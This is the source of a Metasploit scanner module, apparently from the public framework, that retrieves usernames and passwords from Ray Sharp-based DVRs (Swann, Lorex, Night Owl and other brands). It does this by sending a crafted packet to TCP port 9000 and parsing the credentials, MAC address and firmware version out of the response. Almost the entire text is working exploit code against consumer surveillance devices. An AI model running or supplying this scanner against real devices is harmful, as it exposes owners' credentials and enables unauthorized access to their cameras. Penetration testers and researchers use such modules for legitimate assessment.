Ray Sharp DVR Password Retriever

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Auxiliary  include Msf::Exploit::Remote::Tcp  include Msf::Auxiliary::Report  include Msf::Auxiliary::Scanner  def initialize    super(      'Name'        => 'Ray Sharp DVR Password Retriever',      'Description' => %q{          This module takes advantage of a protocol design issue with the        Ray Sharp based DVR systems. It is possible to retrieve the username and        password through the TCP service running on port 9000. Other brands using        this platform and exposing the same issue may include Swann, Lorex,        Night Owl, Zmodo, URMET, and KGuard Security.      },      'Author'      =>        [          'someluser', # Python script          'hdm'        # Metasploit module        ],      'References'  =>        [          [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]        ],      'License'     => MSF_LICENSE    )    register_options( [ Opt::RPORT(9000) ])  end  def report_cred(opts)    service_data = {      address: opts[:ip],      port: opts[:port],      service_name: opts[:service_name],      protocol: 'tcp',      workspace_id: myworkspace_id    }    credential_data = {      origin_type: :service,      module_fullname: fullname,      username: opts[:user],      private_data: opts[:password],      private_type: :password    }.merge(service_data)    login_data = {      core: create_credential(credential_data),      status: Metasploit::Model::Login::Status::UNTRIED,      proof: opts[:proof]    }.merge(service_data)    create_credential_login(login_data)  end  def run_host(ip)    req =      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +      ( "\x00" * 475 )    connect    sock.put(req)    buf = ""    begin      # Pull data until the socket closes or we time out      Timeout.timeout(15) do        loop do          res = sock.get_once(-1, 1)          buf << res if res        end      end    rescue ::Timeout::Error    rescue ::EOFError    end    disconnect    info = ""    mac  = nil    ver  = nil    creds = {}    buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|      # Make sure the two passwords match      next unless cred[1] == cred[2]      creds[cred[0]] = cred[1]    end    if creds.keys.length > 0      creds.keys.sort.each do |user|        pass = creds[user]        report_cred(          ip: rhost,          port: rport,          service_name: 'dvr',          user: user,          password: pass,          proof: pass        )        info << "(user='#{user}' pass='#{pass}') "      end    end    # Look for MAC address    if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi      mac = $1    end    # Look for version    if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m      ver = $1    end    info << "mac=#{mac} " if mac    info << "version=#{ver} " if ver    return unless (creds.keys.length > 0 or mac or ver)    report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)    print_good("#{rhost}:#{rport} #{info}")  endend